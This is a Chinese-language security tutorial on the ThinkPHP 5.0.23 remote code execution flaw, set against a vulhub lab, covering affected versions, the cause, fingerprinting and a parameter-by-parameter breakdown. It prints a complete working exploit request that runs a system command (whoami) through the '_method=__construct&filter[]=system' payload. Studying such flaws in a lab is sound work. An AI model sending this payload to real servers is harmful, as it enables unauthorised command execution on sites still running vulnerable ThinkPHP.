框架漏洞属于web安全漏洞中的环境漏洞,我们可以把框架看作毛胚房,在毛坯房的基础上进行装修就构成了最终的成品网站。
目录
在软件开发中,框架被用来提供各种功能模块,如用户认证、权限控制、数据库操作等,这些模块通常是经过测试和验证的。然而,由于框架的复杂性和灵活性,很难保证所有使用框架的开发者都能正确地使用这些模块。因此,框架漏洞的产生主要是由于框架本身存在的设计或实现上的缺陷。
常见的框架漏洞包括SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入和会话劫持等
Thinkphp5.0.23远程代码执行漏洞
ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、
ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。
其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而
ThinkPHP 3系列也积累了较多的历史用户
ThinkPHP是一个免费,开源,快速、简单的面向对象的轻量级PHP开发框架,是为了加快WEB应用开发和简化企业应用开发而诞生的。
漏洞影响范围:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23
漏洞成因:
该漏洞出现的原因在于ThinkPHP5框架底层对 控制器名 过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,最终导致getshell漏洞
如何判断网页的框架使用了thinkPHP?
通过网页的ico:
通过网页的报错回显信息:
使用专门的信息搜集工具:
vulhub中的thinkphp5.0.23远程代码执行漏洞对应靶场:
漏洞POC的详细解析:
vulhub 中给出的thinkPHP5.0.23的POChttps://vulhub.org/#/environments/thinkphp/5.0.23-rce/
请求包内容:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.43.11:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.11:8080/index.php?s=captcha
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://192.168.43.11:8080
Connection: close
Upgrade-Insecure-Requests: 1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
接下来粗浅地分析一波POST中的内容(实际上更近一步的解析需要结合框架源代码进行详细解析,但这里我们仅仅需要知道如何利用该漏洞即可):
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
这段代码看起来很长,其实它可以分为两个部分:
_method=__construct&filter[]=system&method=get
_method=__construct:该参数将传递给ThinkPHP框架,用于指定将要调用的方法。在这里,使用了对象的构造方法(constructor)__construct。
filter[]=system:filter参数用于指定一个或多个过滤器,用于过滤用户输入数据。在这里,system过滤器被指定,它可以绕过输入过滤,执行系统命令。
method=get:指定执行请求的HTTP方法为GET。